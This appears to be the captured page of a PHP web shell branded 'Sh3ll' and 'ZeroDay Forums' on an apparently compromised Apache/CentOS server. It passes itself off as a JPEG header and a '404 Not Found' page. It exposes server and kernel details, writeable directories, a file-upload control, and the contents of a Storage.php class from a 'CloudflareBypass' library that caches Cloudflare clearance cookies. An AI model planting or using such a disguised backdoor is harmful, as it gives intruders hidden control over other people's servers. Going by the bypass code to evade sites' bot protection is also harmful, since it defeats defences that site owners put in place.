����JFIF��� ( %"1"%)+...383,7(-.- 404 Not Found
Sh3ll
OdayForums


Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.20
System : Linux st2.domain.com 3.10.0-1127.10.1.el7.x86_64 #1 SMP Wed Jun 3 14:28:03 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 7.4.20
Disable Function : NONE
Directory :  /var/www/html/vidoe.top/proxy/stream3/src/CloudflareBypass/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/html/vidoe.top/proxy/stream3/src/CloudflareBypass/Storage.php
<?php
namespace CloudflareBypass;

class Storage
{
    /**
     * Path storage
     *
     * @var string
     */
    protected $path;


    /**
     * Creates Cache directory if it does NOT exist
     *
     * @access public
     * @throws \ErrorException if cache directory CAN NOT be created
     */
    public function __construct( $path )
    {
        $this->path = $path;

        // Suffix path with forward-slash if not done already.
        if (substr( $this->path, -1 ) !== "/")
            $this->path .= "/";

        $this->createBaseFolder();
    }

    /**
     * Create base folder path
     *
     * @return void
     */
    public function createBaseFolder()
    {
        if (!is_dir( $this->path ))
            if (!mkdir( $this->path, 0755, true ))
                throw new \ErrorException( 'Unable to create Cache directory!' );
    }

    /**
     * Returns clearance tokens from the specified cache file.
     *
     * @access public
     * @param $site_host Site host
     * @throws \ErrorException if $site_host IS empty
     * @return array Clearance tokens or FALSE
     */
    public function fetch( $site_host )
    {
        if (trim( $site_host ) === "")
            throw new \ErrorException("Site host should not be empty!");

        // Construct cache file endpoint.
        $file = md5( $site_host );

        if (!file_exists( $this->path . $file )) {
            if (preg_match( '/^www./', $site_host )) {
                $file = md5(substr( $site_host, 4 ));
            }
        }

        if (file_exists( $this->path . $file )) {
            return json_decode( file_get_contents( $this->path . $file ), true );
        }

        return false;
    }

    /**
     * Stores clearance tokens into a cache file in cache folder.
     *
     * File name:           Data:
     * -------------------------------------------
     * md5( file name )     {"__cfduid":"<cfduid>", "cf_clearance":"<cf_clearance>"}
     *
     * @access public
     * @param string $site_host site host name
     * @param array $clearance_tokens Associative array containing "__cfduid" and "cf_clearance" cookies
     * @throws \ErrorException if $site_host IS empty
     * @throws \ErrorException if $clearance_tokens IS missing token fields, OR contains rubbish
     * @throws \ErrorException if file_put_contents FAILS to write to file
     */
    public function store($site_host, $clearance_tokens)
    {
        if (trim($site_host) === "")
            throw new \ErrorException("Site host should not be empty!");

        if (!is_array($clearance_tokens))
            throw new \ErrorException("Clearance tokens is not in an array format!");

        // Construct cache file endpoint.
        $filename = $this->path . md5($site_host);

        // Perform data retention duties.
        $this->retention();

        if (!file_put_contents( $filename, json_encode( $clearance_tokens ) )) {
            if (file_exists( $filename )) {
                unlink( $filename );
            }
        }
    }

    /**
     * Deletes files from cache folder which are older than 24 hours.
     *
     * @access private
     */
    private function retention()
    {
        if ($handle = opendir( $this->path )) {
            while (false !== ($file = readdir( $handle ))) {
                // Skip special directories.
                if ('.' === $file || '..' === $file || strpos( $file, '.' ) === 0)
                    continue;
        
                // Delete file if last modified over 24 hours ago.
                if (time()-filemtime( $this->path . '/' . $file ) > 86400)
                    unlink( $this->path . '/' . $file );
            }
        }

        // close directory handle.
        closedir( $handle );
    }
}

ZeroDay Forums Mini